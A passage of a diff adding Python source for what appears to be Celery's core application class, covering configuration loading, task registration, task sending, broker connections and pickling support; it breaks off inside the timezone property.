_set_current_app, _task_stack, + connect_on_app_finalize, get_current_app, + get_current_worker_task, set_default_app) +from celery.exceptions import AlwaysEagerIgnored, ImproperlyConfigured +from celery.loaders import get_loader_cls +from celery.local import PromiseProxy, maybe_evaluate +from celery.utils import abstract +from celery.utils.collections import AttributeDictMixin +from celery.utils.dispatch import Signal +from celery.utils.functional import first, head_from_fun, maybe_list +from celery.utils.imports import gen_task_name, instantiate, symbol_by_name +from celery.utils.log import get_logger +from celery.utils.objects import FallbackContext, mro_lookup +from celery.utils.time import maybe_make_aware, timezone, to_utc + +# Load all builtin tasks +from . import builtins # noqa +from . import backends +from .annotations import prepare as prepare_annotations +from .autoretry import add_autoretry_behaviour +from .defaults import DEFAULT_SECURITY_DIGEST, find_deprecated_settings +from .registry import TaskRegistry +from .utils import (AppPickler, Settings, _new_key_to_old, _old_key_to_new, + _unpickle_app, _unpickle_app_v2, appstr, bugreport, + detect_settings) + +__all__ = ('Celery',) + +logger = get_logger(__name__) + +BUILTIN_FIXUPS = { + 'celery.fixups.django:fixup', +} +USING_EXECV = os.environ.get('FORKED_BY_MULTIPROCESSING') + +ERR_ENVVAR_NOT_SET = """ +The environment variable {0!r} is not set, +and as such the configuration could not be loaded. + +Please set this variable and make sure it points to +a valid configuration module. + +Example: + {0}="proj.celeryconfig" +""" + + +def app_has_custom(app, attr): + """Return true if app has customized method `attr`. + + Note: + This is used for optimizations in cases where we know + how the default behavior works, but need to account + for someone using inheritance to override a method/property. + """ + return mro_lookup(app.__class__, attr, stop={Celery, object}, + monkey_patched=[__name__]) + + +def _unpickle_appattr(reverse_name, args): + """Unpickle app.""" + # Given an attribute name and a list of args, gets + # the attribute from the current app and calls it. + return get_current_app()._rgetattr(reverse_name)(*args) + + +def _after_fork_cleanup_app(app): + # This is used with multiprocessing.register_after_fork, + # so need to be at module level. + try: + app._after_fork() + except Exception as exc: # pylint: disable=broad-except + logger.info('after forker raised exception: %r', exc, exc_info=1) + + +class PendingConfiguration(UserDict, AttributeDictMixin): + # `app.conf` will be of this type before being explicitly configured, + # meaning the app can keep any configuration set directly + # on `app.conf` before the `app.config_from_object` call. + # + # accessing any key will finalize the configuration, + # replacing `app.conf` with a concrete settings object. + + callback = None + _data = None + + def __init__(self, conf, callback): + object.__setattr__(self, '_data', conf) + object.__setattr__(self, 'callback', callback) + + def __setitem__(self, key, value): + self._data[key] = value + + def clear(self): + self._data.clear() + + def update(self, *args, **kwargs): + self._data.update(*args, **kwargs) + + def setdefault(self, *args, **kwargs): + return self._data.setdefault(*args, **kwargs) + + def __contains__(self, key): + # XXX will not show finalized configuration + # setdefault will cause `key in d` to happen, + # so for setdefault to be lazy, so does contains. + return key in self._data + + def __len__(self): + return len(self.data) + + def __repr__(self): + return repr(self.data) + + @cached_property + def data(self): + return self.callback() + + +class Celery: + """Celery application. + + Arguments: + main (str): Name of the main module if running as `__main__`. + This is used as the prefix for auto-generated task names. + + Keyword Arguments: + broker (str): URL of the default broker used. + backend (Union[str, Type[celery.backends.base.Backend]]): + The result store backend class, or the name of the backend + class to use. + + Default is the value of the :setting:`result_backend` setting. + autofinalize (bool): If set to False a :exc:`RuntimeError` + will be raised if the task registry or tasks are used before + the app is finalized. + set_as_current (bool): Make this the global current app. + include (List[str]): List of modules every worker should import. + + amqp (Union[str, Type[AMQP]]): AMQP object or class name. + events (Union[str, Type[celery.app.events.Events]]): Events object or + class name. + log (Union[str, Type[Logging]]): Log object or class name. + control (Union[str, Type[celery.app.control.Control]]): Control object + or class name. + tasks (Union[str, Type[TaskRegistry]]): A task registry, or the name of + a registry class. + fixups (List[str]): List of fix-up plug-ins (e.g., see + :mod:`celery.fixups.django`). + config_source (Union[str, class]): Take configuration from a class, + or object. Attributes may include any settings described in + the documentation. + task_cls (Union[str, Type[celery.app.task.Task]]): base task class to + use. See :ref:`this section ` for usage. + """ + + #: This is deprecated, use :meth:`reduce_keys` instead + Pickler = AppPickler + + SYSTEM = platforms.SYSTEM + IS_macOS, IS_WINDOWS = platforms.IS_macOS, platforms.IS_WINDOWS + + #: Name of the `__main__` module. Required for standalone scripts. + #: + #: If set this will be used instead of `__main__` when automatically + #: generating task names. + main = None + + #: Custom options for command-line programs. + #: See :ref:`extending-commandoptions` + user_options = None + + #: Custom bootsteps to extend and modify the worker. + #: See :ref:`extending-bootsteps`. + steps = None + + builtin_fixups = BUILTIN_FIXUPS + + amqp_cls = 'celery.app.amqp:AMQP' + backend_cls = None + events_cls = 'celery.app.events:Events' + loader_cls = None + log_cls = 'celery.app.log:Logging' + control_cls = 'celery.app.control:Control' + task_cls = 'celery.app.task:Task' + registry_cls = 'celery.app.registry:TaskRegistry' + + #: Thread local storage. + _local = None + _fixups = None + _pool = None + _conf = None + _after_fork_registered = False + + #: Signal sent when app is loading configuration. + on_configure = None + + #: Signal sent after app has prepared the configuration. + on_after_configure = None + + #: Signal sent after app has been finalized. + on_after_finalize = None + + #: Signal sent by every new process after fork. + on_after_fork = None + + def __init__(self, main=None, loader=None, backend=None, + amqp=None, events=None, log=None, control=None, + set_as_current=True, tasks=None, broker=None, include=None, + changes=None, config_source=None, fixups=None, task_cls=None, + autofinalize=True, namespace=None, strict_typing=True, + **kwargs): + + self._local = threading.local() + + self.clock = LamportClock() + self.main = main + self.amqp_cls = amqp or self.amqp_cls + self.events_cls = events or self.events_cls + self.loader_cls = loader or self._get_default_loader() + self.log_cls = log or self.log_cls + self.control_cls = control or self.control_cls + self.task_cls = task_cls or self.task_cls + self.set_as_current = set_as_current + self.registry_cls = symbol_by_name(self.registry_cls) + self.user_options = defaultdict(set) + self.steps = defaultdict(set) + self.autofinalize = autofinalize + self.namespace = namespace + self.strict_typing = strict_typing + + self.configured = False + self._config_source = config_source + self._pending_defaults = deque() + self._pending_periodic_tasks = deque() + + self.finalized = False + self._finalize_mutex = threading.Lock() + self._pending = deque() + self._tasks = tasks + if not isinstance(self._tasks, TaskRegistry): + self._tasks = self.registry_cls(self._tasks or {}) + + # If the class defines a custom __reduce_args__ we need to use + # the old way of pickling apps: pickling a list of + # args instead of the new way that pickles a dict of keywords. + self._using_v1_reduce = app_has_custom(self, '__reduce_args__') + + # these options are moved to the config to + # simplify pickling of the app object. + self._preconf = changes or {} + self._preconf_set_by_auto = set() + self.__autoset('broker_url', broker) + self.__autoset('result_backend', backend) + self.__autoset('include', include) + + for key, value in kwargs.items(): + self.__autoset(key, value) + + self._conf = Settings( + PendingConfiguration( + self._preconf, self._finalize_pending_conf), + prefix=self.namespace, + keys=(_old_key_to_new, _new_key_to_old), + ) + + # - Apply fix-ups. + self.fixups = set(self.builtin_fixups) if fixups is None else fixups + # ...store fixup instances in _fixups to keep weakrefs alive. + self._fixups = [symbol_by_name(fixup)(self) for fixup in self.fixups] + + if self.set_as_current: + self.set_current() + + # Signals + if self.on_configure is None: + # used to be a method pre 4.0 + self.on_configure = Signal(name='app.on_configure') + self.on_after_configure = Signal( + name='app.on_after_configure', + providing_args={'source'}, + ) + self.on_after_finalize = Signal(name='app.on_after_finalize') + self.on_after_fork = Signal(name='app.on_after_fork') + + # Boolean signalling, whether fast_trace_task are enabled. + # this attribute is set in celery.worker.trace and checked by celery.worker.request + self.use_fast_trace_task = False + + self.on_init() + _register_app(self) + + def _get_default_loader(self): + # the --loader command-line argument sets the environment variable. + return ( + os.environ.get('CELERY_LOADER') or + self.loader_cls or + 'celery.loaders.app:AppLoader' + ) + + def on_init(self): + """Optional callback called at init.""" + + def __autoset(self, key, value): + if value is not None: + self._preconf[key] = value + self._preconf_set_by_auto.add(key) + + def set_current(self): + """Make this the current app for this thread.""" + _set_current_app(self) + + def set_default(self): + """Make this the default app for all threads.""" + set_default_app(self) + + def _ensure_after_fork(self): + if not self._after_fork_registered: + self._after_fork_registered = True + if register_after_fork is not None: + register_after_fork(self, _after_fork_cleanup_app) + + def close(self): + """Clean up after the application. + + Only necessary for dynamically created apps, and you should + probably use the :keyword:`with` statement instead. + + Example: + >>> with Celery(set_as_current=False) as app: + ... with app.connection_for_write() as conn: + ... pass + """ + self._pool = None + _deregister_app(self) + + def start(self, argv=None): + """Run :program:`celery` using `argv`. + + Uses :data:`sys.argv` if `argv` is not specified. + """ + from celery.bin.celery import celery + + celery.params[0].default = self + + if argv is None: + argv = sys.argv + + try: + celery.main(args=argv, standalone_mode=False) + except Exit as e: + return e.exit_code + finally: + celery.params[0].default = None + + def worker_main(self, argv=None): + """Run :program:`celery worker` using `argv`. + + Uses :data:`sys.argv` if `argv` is not specified. + """ + if argv is None: + argv = sys.argv + + if 'worker' not in argv: + raise ValueError( + "The worker sub-command must be specified in argv.\n" + "Use app.start() to programmatically start other commands." + ) + + self.start(argv=argv) + + def task(self, *args, **opts): + """Decorator to create a task class out of any callable. + + See :ref:`Task options` for a list of the + arguments that can be passed to this decorator. + + Examples: + .. code-block:: python + + @app.task + def refresh_feed(url): + store_feed(feedparser.parse(url)) + + with setting extra options: + + .. code-block:: python + + @app.task(exchange='feeds') + def refresh_feed(url): + return store_feed(feedparser.parse(url)) + + Note: + App Binding: For custom apps the task decorator will return + a proxy object, so that the act of creating the task is not + performed until the task is used or the task registry is accessed. + + If you're depending on binding to be deferred, then you must + not access any attributes on the returned object until the + application is fully set up (finalized). + """ + if USING_EXECV and opts.get('lazy', True): + # When using execv the task in the original module will point to a + # different app, so doing things like 'add.request' will point to + # a different task instance. This makes sure it will always use + # the task instance from the current app. + # Really need a better solution for this :( + from . import shared_task + return shared_task(*args, lazy=False, **opts) + + def inner_create_task_cls(shared=True, filter=None, lazy=True, **opts): + _filt = filter + + def _create_task_cls(fun): + if shared: + def cons(app): + return app._task_from_fun(fun, **opts) + cons.__name__ = fun.__name__ + connect_on_app_finalize(cons) + if not lazy or self.finalized: + ret = self._task_from_fun(fun, **opts) + else: + # return a proxy object that evaluates on first use + ret = PromiseProxy(self._task_from_fun, (fun,), opts, + __doc__=fun.__doc__) + self._pending.append(ret) + if _filt: + return _filt(ret) + return ret + + return _create_task_cls + + if len(args) == 1: + if callable(args[0]): + return inner_create_task_cls(**opts)(*args) + raise TypeError('argument 1 to @task() must be a callable') + if args: + raise TypeError( + '@task() takes exactly 1 argument ({} given)'.format( + sum([len(args), len(opts)]))) + return inner_create_task_cls(**opts) + + def _task_from_fun(self, fun, name=None, base=None, bind=False, **options): + if not self.finalized and not self.autofinalize: + raise RuntimeError('Contract breach: app not finalized') + name = name or self.gen_task_name(fun.__name__, fun.__module__) + base = base or self.Task + + if name not in self._tasks: + run = fun if bind else staticmethod(fun) + task = type(fun.__name__, (base,), dict({ + 'app': self, + 'name': name, + 'run': run, + '_decorated': True, + '__doc__': fun.__doc__, + '__module__': fun.__module__, + '__annotations__': fun.__annotations__, + '__header__': staticmethod(head_from_fun(fun, bound=bind)), + '__wrapped__': run}, **options))() + # for some reason __qualname__ cannot be set in type() + # so we have to set it here. + try: + task.__qualname__ = fun.__qualname__ + except AttributeError: + pass + self._tasks[task.name] = task + task.bind(self) # connects task to this app + add_autoretry_behaviour(task, **options) + else: + task = self._tasks[name] + return task + + def register_task(self, task, **options): + """Utility for registering a task-based class. + + Note: + This is here for compatibility with old Celery 1.0 + style task classes, you should not need to use this for + new projects. + """ + task = inspect.isclass(task) and task() or task + if not task.name: + task_cls = type(task) + task.name = self.gen_task_name( + task_cls.__name__, task_cls.__module__) + add_autoretry_behaviour(task, **options) + self.tasks[task.name] = task + task._app = self + task.bind(self) + return task + + def gen_task_name(self, name, module): + return gen_task_name(self, name, module) + + def finalize(self, auto=False): + """Finalize the app. + + This loads built-in tasks, evaluates pending task decorators, + reads configuration, etc. + """ + with self._finalize_mutex: + if not self.finalized: + if auto and not self.autofinalize: + raise RuntimeError('Contract breach: app not finalized') + self.finalized = True + _announce_app_finalized(self) + + pending = self._pending + while pending: + maybe_evaluate(pending.popleft()) + + for task in self._tasks.values(): + task.bind(self) + + self.on_after_finalize.send(sender=self) + + def add_defaults(self, fun): + """Add default configuration from dict ``d``. + + If the argument is a callable function then it will be regarded + as a promise, and it won't be loaded until the configuration is + actually needed. + + This method can be compared to: + + .. code-block:: pycon + + >>> celery.conf.update(d) + + with a difference that 1) no copy will be made and 2) the dict will + not be transferred when the worker spawns child processes, so + it's important that the same configuration happens at import time + when pickle restores the object on the other side. + """ + if not callable(fun): + d, fun = fun, lambda: d + if self.configured: + return self._conf.add_defaults(fun()) + self._pending_defaults.append(fun) + + def config_from_object(self, obj, + silent=False, force=False, namespace=None): + """Read configuration from object. + + Object is either an actual object or the name of a module to import. + + Example: + >>> celery.config_from_object('myapp.celeryconfig') + + >>> from myapp import celeryconfig + >>> celery.config_from_object(celeryconfig) + + Arguments: + silent (bool): If true then import errors will be ignored. + force (bool): Force reading configuration immediately. + By default the configuration will be read only when required. + """ + self._config_source = obj + self.namespace = namespace or self.namespace + if force or self.configured: + self._conf = None + if self.loader.config_from_object(obj, silent=silent): + return self.conf + + def config_from_envvar(self, variable_name, silent=False, force=False): + """Read configuration from environment variable. + + The value of the environment variable must be the name + of a module to import. + + Example: + >>> os.environ['CELERY_CONFIG_MODULE'] = 'myapp.celeryconfig' + >>> celery.config_from_envvar('CELERY_CONFIG_MODULE') + """ + module_name = os.environ.get(variable_name) + if not module_name: + if silent: + return False + raise ImproperlyConfigured( + ERR_ENVVAR_NOT_SET.strip().format(variable_name)) + return self.config_from_object(module_name, silent=silent, force=force) + + def config_from_cmdline(self, argv, namespace='celery'): + self._conf.update( + self.loader.cmdline_config_parser(argv, namespace) + ) + + def setup_security(self, allowed_serializers=None, key=None, cert=None, + store=None, digest=DEFAULT_SECURITY_DIGEST, + serializer='json'): + """Setup the message-signing serializer. + + This will affect all application instances (a global operation). + + Disables untrusted serializers and if configured to use the ``auth`` + serializer will register the ``auth`` serializer with the provided + settings into the Kombu serializer registry. + + Arguments: + allowed_serializers (Set[str]): List of serializer names, or + content_types that should be exempt from being disabled. + key (str): Name of private key file to use. + Defaults to the :setting:`security_key` setting. + cert (str): Name of certificate file to use. + Defaults to the :setting:`security_certificate` setting. + store (str): Directory containing certificates. + Defaults to the :setting:`security_cert_store` setting. + digest (str): Digest algorithm used when signing messages. + Default is ``sha256``. + serializer (str): Serializer used to encode messages after + they've been signed. See :setting:`task_serializer` for + the serializers supported. Default is ``json``. + """ + from celery.security import setup_security + return setup_security(allowed_serializers, key, cert, + store, digest, serializer, app=self) + + def autodiscover_tasks(self, packages=None, + related_name='tasks', force=False): + """Auto-discover task modules. + + Searches a list of packages for a "tasks.py" module (or use + related_name argument). + + If the name is empty, this will be delegated to fix-ups (e.g., Django). + + For example if you have a directory layout like this: + + .. code-block:: text + + foo/__init__.py + tasks.py + models.py + + bar/__init__.py + tasks.py + models.py + + baz/__init__.py + models.py + + Then calling ``app.autodiscover_tasks(['foo', 'bar', 'baz'])`` will + result in the modules ``foo.tasks`` and ``bar.tasks`` being imported. + + Arguments: + packages (List[str]): List of packages to search. + This argument may also be a callable, in which case the + value returned is used (for lazy evaluation). + related_name (Optional[str]): The name of the module to find. Defaults + to "tasks": meaning "look for 'module.tasks' for every + module in ``packages``.". If ``None`` will only try to import + the package, i.e. "look for 'module'". + force (bool): By default this call is lazy so that the actual + auto-discovery won't happen until an application imports + the default modules. Forcing will cause the auto-discovery + to happen immediately. + """ + if force: + return self._autodiscover_tasks(packages, related_name) + signals.import_modules.connect(starpromise( + self._autodiscover_tasks, packages, related_name, + ), weak=False, sender=self) + + def _autodiscover_tasks(self, packages, related_name, **kwargs): + if packages: + return self._autodiscover_tasks_from_names(packages, related_name) + return self._autodiscover_tasks_from_fixups(related_name) + + def _autodiscover_tasks_from_names(self, packages, related_name): + # packages argument can be lazy + return self.loader.autodiscover_tasks( + packages() if callable(packages) else packages, related_name, + ) + + def _autodiscover_tasks_from_fixups(self, related_name): + return self._autodiscover_tasks_from_names([ + pkg for fixup in self._fixups + if hasattr(fixup, 'autodiscover_tasks') + for pkg in fixup.autodiscover_tasks() + ], related_name=related_name) + + def send_task(self, name, args=None, kwargs=None, countdown=None, + eta=None, task_id=None, producer=None, connection=None, + router=None, result_cls=None, expires=None, + publisher=None, link=None, link_error=None, + add_to_parent=True, group_id=None, group_index=None, + retries=0, chord=None, + reply_to=None, time_limit=None, soft_time_limit=None, + root_id=None, parent_id=None, route_name=None, + shadow=None, chain=None, task_type=None, **options): + """Send task by name. + + Supports the same arguments as :meth:`@-Task.apply_async`. + + Arguments: + name (str): Name of task to call (e.g., `"tasks.add"`). + result_cls (AsyncResult): Specify custom result class. + """ + parent = have_parent = None + amqp = self.amqp + task_id = task_id or uuid() + producer = producer or publisher # XXX compat + router = router or amqp.router + conf = self.conf + if conf.task_always_eager: # pragma: no cover + warnings.warn(AlwaysEagerIgnored( + 'task_always_eager has no effect on send_task', + ), stacklevel=2) + + ignore_result = options.pop('ignore_result', False) + options = router.route( + options, route_name or name, args, kwargs, task_type) + if expires is not None: + if isinstance(expires, datetime): + expires_s = (maybe_make_aware(expires) - self.now()).total_seconds() + else: + expires_s = expires + + if expires_s < 0: + logger.warning( + f"{task_id} has an expiration date in the past ({-expires_s}s ago).\n" + "We assume this is intended and so we have set the " + "expiration date to 0 instead.\n" + "According to RabbitMQ's documentation:\n" + "\"Setting the TTL to 0 causes messages to be expired upon " + "reaching a queue unless they can be delivered to a " + "consumer immediately.\"\n" + "If this was unintended, please check the code which " + "published this task." + ) + expires_s = 0 + + options["expiration"] = expires_s + + if not root_id or not parent_id: + parent = self.current_worker_task + if parent: + if not root_id: + root_id = parent.request.root_id or parent.request.id + if not parent_id: + parent_id = parent.request.id + + if conf.task_inherit_parent_priority: + options.setdefault('priority', + parent.request.delivery_info.get('priority')) + + message = amqp.create_task_message( + task_id, name, args, kwargs, countdown, eta, group_id, group_index, + expires, retries, chord, + maybe_list(link), maybe_list(link_error), + reply_to or self.thread_oid, time_limit, soft_time_limit, + self.conf.task_send_sent_event, + root_id, parent_id, shadow, chain, + ignore_result=ignore_result, + argsrepr=options.get('argsrepr'), + kwargsrepr=options.get('kwargsrepr'), + ) + + if connection: + producer = amqp.Producer(connection, auto_declare=False) + + with self.producer_or_acquire(producer) as P: + with P.connection._reraise_as_library_errors(): + if not ignore_result: + self.backend.on_task_call(P, task_id) + amqp.send_task_message(P, name, message, **options) + result = (result_cls or self.AsyncResult)(task_id) + # We avoid using the constructor since a custom result class + # can be used, in which case the constructor may still use + # the old signature. + result.ignored = ignore_result + + if add_to_parent: + if not have_parent: + parent, have_parent = self.current_worker_task, True + if parent: + parent.add_trail(result) + return result + + def connection_for_read(self, url=None, **kwargs): + """Establish connection used for consuming. + + See Also: + :meth:`connection` for supported arguments. + """ + return self._connection(url or self.conf.broker_read_url, **kwargs) + + def connection_for_write(self, url=None, **kwargs): + """Establish connection used for producing. + + See Also: + :meth:`connection` for supported arguments. + """ + return self._connection(url or self.conf.broker_write_url, **kwargs) + + def connection(self, hostname=None, userid=None, password=None, + virtual_host=None, port=None, ssl=None, + connect_timeout=None, transport=None, + transport_options=None, heartbeat=None, + login_method=None, failover_strategy=None, **kwargs): + """Establish a connection to the message broker. + + Please use :meth:`connection_for_read` and + :meth:`connection_for_write` instead, to convey the intent + of use for this connection. + + Arguments: + url: Either the URL or the hostname of the broker to use. + hostname (str): URL, Hostname/IP-address of the broker. + If a URL is used, then the other argument below will + be taken from the URL instead. + userid (str): Username to authenticate as. + password (str): Password to authenticate with + virtual_host (str): Virtual host to use (domain). + port (int): Port to connect to. + ssl (bool, Dict): Defaults to the :setting:`broker_use_ssl` + setting. + transport (str): defaults to the :setting:`broker_transport` + setting. + transport_options (Dict): Dictionary of transport specific options. + heartbeat (int): AMQP Heartbeat in seconds (``pyamqp`` only). + login_method (str): Custom login method to use (AMQP only). + failover_strategy (str, Callable): Custom failover strategy. + **kwargs: Additional arguments to :class:`kombu.Connection`. + + Returns: + kombu.Connection: the lazy connection instance. + """ + return self.connection_for_write( + hostname or self.conf.broker_write_url, + userid=userid, password=password, + virtual_host=virtual_host, port=port, ssl=ssl, + connect_timeout=connect_timeout, transport=transport, + transport_options=transport_options, heartbeat=heartbeat, + login_method=login_method, failover_strategy=failover_strategy, + **kwargs + ) + + def _connection(self, url, userid=None, password=None, + virtual_host=None, port=None, ssl=None, + connect_timeout=None, transport=None, + transport_options=None, heartbeat=None, + login_method=None, failover_strategy=None, **kwargs): + conf = self.conf + return self.amqp.Connection( + url, + userid or conf.broker_user, + password or conf.broker_password, + virtual_host or conf.broker_vhost, + port or conf.broker_port, + transport=transport or conf.broker_transport, + ssl=self.either('broker_use_ssl', ssl), + heartbeat=heartbeat, + login_method=login_method or conf.broker_login_method, + failover_strategy=( + failover_strategy or conf.broker_failover_strategy + ), + transport_options=dict( + conf.broker_transport_options, **transport_options or {} + ), + connect_timeout=self.either( + 'broker_connection_timeout', connect_timeout + ), + ) + broker_connection = connection + + def _acquire_connection(self, pool=True): + """Helper for :meth:`connection_or_acquire`.""" + if pool: + return self.pool.acquire(block=True) + return self.connection_for_write() + + def connection_or_acquire(self, connection=None, pool=True, *_, **__): + """Context used to acquire a connection from the pool. + + For use within a :keyword:`with` statement to get a connection + from the pool if one is not already provided. + + Arguments: + connection (kombu.Connection): If not provided, a connection + will be acquired from the connection pool. + """ + return FallbackContext(connection, self._acquire_connection, pool=pool) + default_connection = connection_or_acquire # XXX compat + + def producer_or_acquire(self, producer=None): + """Context used to acquire a producer from the pool. + + For use within a :keyword:`with` statement to get a producer + from the pool if one is not already provided + + Arguments: + producer (kombu.Producer): If not provided, a producer + will be acquired from the producer pool. + """ + return FallbackContext( + producer, self.producer_pool.acquire, block=True, + ) + default_producer = producer_or_acquire # XXX compat + + def prepare_config(self, c): + """Prepare configuration before it is merged with the defaults.""" + return find_deprecated_settings(c) + + def now(self): + """Return the current time and date as a datetime.""" + now_in_utc = to_utc(datetime.utcnow()) + return now_in_utc.astimezone(self.timezone) + + def select_queues(self, queues=None): + """Select subset of queues. + + Arguments: + queues (Sequence[str]): a list of queue names to keep. + """ + return self.amqp.queues.select(queues) + + def either(self, default_key, *defaults): + """Get key from configuration or use default values. + + Fallback to the value of a configuration key if none of the + `*values` are true. + """ + return first(None, [ + first(None, defaults), starpromise(self.conf.get, default_key), + ]) + + def bugreport(self): + """Return information useful in bug reports.""" + return bugreport(self) + + def _get_backend(self): + backend, url = backends.by_url( + self.backend_cls or self.conf.result_backend, + self.loader) + return backend(app=self, url=url) + + def _finalize_pending_conf(self): + """Get config value by key and finalize loading the configuration. + + Note: + This is used by PendingConfiguration: + as soon as you access a key the configuration is read. + """ + conf = self._conf = self._load_config() + return conf + + def _load_config(self): + if isinstance(self.on_configure, Signal): + self.on_configure.send(sender=self) + else: + # used to be a method pre 4.0 + self.on_configure() + if self._config_source: + self.loader.config_from_object(self._config_source) + self.configured = True + settings = detect_settings( + self.prepare_config(self.loader.conf), self._preconf, + ignore_keys=self._preconf_set_by_auto, prefix=self.namespace, + ) + if self._conf is not None: + # replace in place, as someone may have referenced app.conf, + # done some changes, accessed a key, and then try to make more + # changes to the reference and not the finalized value. + self._conf.swap_with(settings) + else: + self._conf = settings + + # load lazy config dict initializers. + pending_def = self._pending_defaults + while pending_def: + self._conf.add_defaults(maybe_evaluate(pending_def.popleft()())) + + # load lazy periodic tasks + pending_beat = self._pending_periodic_tasks + while pending_beat: + self._add_periodic_task(*pending_beat.popleft()) + + self.on_after_configure.send(sender=self, source=self._conf) + return self._conf + + def _after_fork(self): + self._pool = None + try: + self.__dict__['amqp']._producer_pool = None + except (AttributeError, KeyError): + pass + self.on_after_fork.send(sender=self) + + def signature(self, *args, **kwargs): + """Return a new :class:`~celery.Signature` bound to this app.""" + kwargs['app'] = self + return self._canvas.signature(*args, **kwargs) + + def add_periodic_task(self, schedule, sig, + args=(), kwargs=(), name=None, **opts): + key, entry = self._sig_to_periodic_task_entry( + schedule, sig, args, kwargs, name, **opts) + if self.configured: + self._add_periodic_task(key, entry) + else: + self._pending_periodic_tasks.append((key, entry)) + return key + + def _sig_to_periodic_task_entry(self, schedule, sig, + args=(), kwargs=None, name=None, **opts): + kwargs = {} if not kwargs else kwargs + sig = (sig.clone(args, kwargs) + if isinstance(sig, abstract.CallableSignature) + else self.signature(sig.name, args, kwargs)) + return name or repr(sig), { + 'schedule': schedule, + 'task': sig.name, + 'args': sig.args, + 'kwargs': sig.kwargs, + 'options': dict(sig.options, **opts), + } + + def _add_periodic_task(self, key, entry): + self._conf.beat_schedule[key] = entry + + def create_task_cls(self): + """Create a base task class bound to this app.""" + return self.subclass_with_self( + self.task_cls, name='Task', attribute='_app', + keep_reduce=True, abstract=True, + ) + + def subclass_with_self(self, Class, name=None, attribute='app', + reverse=None, keep_reduce=False, **kw): + """Subclass an app-compatible class. + + App-compatible means that the class has a class attribute that + provides the default app it should use, for example: + ``class Foo: app = None``. + + Arguments: + Class (type): The app-compatible class to subclass. + name (str): Custom name for the target class. + attribute (str): Name of the attribute holding the app, + Default is 'app'. + reverse (str): Reverse path to this object used for pickling + purposes. For example, to get ``app.AsyncResult``, + use ``"AsyncResult"``. + keep_reduce (bool): If enabled a custom ``__reduce__`` + implementation won't be provided. + """ + Class = symbol_by_name(Class) + reverse = reverse if reverse else Class.__name__ + + def __reduce__(self): + return _unpickle_appattr, (reverse, self.__reduce_args__()) + + attrs = dict( + {attribute: self}, + __module__=Class.__module__, + __doc__=Class.__doc__, + **kw) + if not keep_reduce: + attrs['__reduce__'] = __reduce__ + + return type(name or Class.__name__, (Class,), attrs) + + def _rgetattr(self, path): + return attrgetter(path)(self) + + def __enter__(self): + return self + + def __exit__(self, *exc_info): + self.close() + + def __repr__(self): + return f'<{type(self).__name__} {appstr(self)}>' + + def __reduce__(self): + if self._using_v1_reduce: + return self.__reduce_v1__() + return (_unpickle_app_v2, (self.__class__, self.__reduce_keys__())) + + def __reduce_v1__(self): + # Reduce only pickles the configuration changes, + # so the default configuration doesn't have to be passed + # between processes. + return ( + _unpickle_app, + (self.__class__, self.Pickler) + self.__reduce_args__(), + ) + + def __reduce_keys__(self): + """Keyword arguments used to reconstruct the object when unpickling.""" + return { + 'main': self.main, + 'changes': + self._conf.changes if self.configured else self._preconf, + 'loader': self.loader_cls, + 'backend': self.backend_cls, + 'amqp': self.amqp_cls, + 'events': self.events_cls, + 'log': self.log_cls, + 'control': self.control_cls, + 'fixups': self.fixups, + 'config_source': self._config_source, + 'task_cls': self.task_cls, + 'namespace': self.namespace, + } + + def __reduce_args__(self): + """Deprecated method, please use :meth:`__reduce_keys__` instead.""" + return (self.main, self._conf.changes if self.configured else {}, + self.loader_cls, self.backend_cls, self.amqp_cls, + self.events_cls, self.log_cls, self.control_cls, + False, self._config_source) + + @cached_property + def Worker(self): + """Worker application. + + See Also: + :class:`~@Worker`. + """ + return self.subclass_with_self('celery.apps.worker:Worker') + + @cached_property + def WorkController(self, **kwargs): + """Embeddable worker. + + See Also: + :class:`~@WorkController`. + """ + return self.subclass_with_self('celery.worker:WorkController') + + @cached_property + def Beat(self, **kwargs): + """:program:`celery beat` scheduler application. + + See Also: + :class:`~@Beat`. + """ + return self.subclass_with_self('celery.apps.beat:Beat') + + @cached_property + def Task(self): + """Base task class for this app.""" + return self.create_task_cls() + + @cached_property + def annotations(self): + return prepare_annotations(self.conf.task_annotations) + + @cached_property + def AsyncResult(self): + """Create new result instance. + + See Also: + :class:`celery.result.AsyncResult`. + """ + return self.subclass_with_self('celery.result:AsyncResult') + + @cached_property + def ResultSet(self): + return self.subclass_with_self('celery.result:ResultSet') + + @cached_property + def GroupResult(self): + """Create new group result instance. + + See Also: + :class:`celery.result.GroupResult`. + """ + return self.subclass_with_self('celery.result:GroupResult') + + @property + def pool(self): + """Broker connection pool: :class:`~@pool`. + + Note: + This attribute is not related to the workers concurrency pool. + """ + if self._pool is None: + self._ensure_after_fork() + limit = self.conf.broker_pool_limit + pools.set_limit(limit) + self._pool = pools.connections[self.connection_for_write()] + return self._pool + + @property + def current_task(self): + """Instance of task being executed, or :const:`None`.""" + return _task_stack.top + + @property + def current_worker_task(self): + """The task currently being executed by a worker or :const:`None`. + + Differs from :data:`current_task` in that it's not affected + by tasks calling other tasks directly, or eagerly. + """ + return get_current_worker_task() + + @cached_property + def oid(self): + """Universally unique identifier for this app.""" + # since 4.0: thread.get_ident() is not included when + # generating the process id. This is due to how the RPC + # backend now dedicates a single thread to receive results, + # which would not work if each thread has a separate id. + return oid_from(self, threads=False) + + @property + def thread_oid(self): + """Per-thread unique identifier for this app.""" + try: + return self._local.oid + except AttributeError: + self._local.oid = new_oid = oid_from(self, threads=True) + return new_oid + + @cached_property + def amqp(self): + """AMQP related functionality: :class:`~@amqp`.""" + return instantiate(self.amqp_cls, app=self) + + @property + def backend(self): + """Current backend instance.""" + try: + return self._local.backend + except AttributeError: + self._local.backend = new_backend = self._get_backend() + return new_backend + + @property + def conf(self): + """Current configuration.""" + if self._conf is None: + self._conf = self._load_config() + return self._conf + + @conf.setter + def conf(self, d): + self._conf = d + + @cached_property + def control(self): + """Remote control: :class:`~@control`.""" + return instantiate(self.control_cls, app=self) + + @cached_property + def events(self): + """Consuming and sending events: :class:`~@events`.""" + return instantiate(self.events_cls, app=self) + + @cached_property + def loader(self): + """Current loader instance.""" + return get_loader_cls(self.loader_cls)(app=self) + + @cached_property + def log(self): + """Logging: :class:`~@log`.""" + return instantiate(self.log_cls, app=self) + + @cached_property + def _canvas(self): + from celery import canvas + return canvas + + @cached_property + def tasks(self): + """Task registry. + + Warning: + Accessing this attribute will also auto-finalize the app. + """ + self.finalize(auto=True) + return self._tasks + + @property + def producer_pool(self): + return self.amqp.producer_pool + + def uses_utc_timezone(self): + """Check if the application uses the UTC timezone.""" + return self.timezone == timezone.utc + + @cached_property + def timezone(self): + 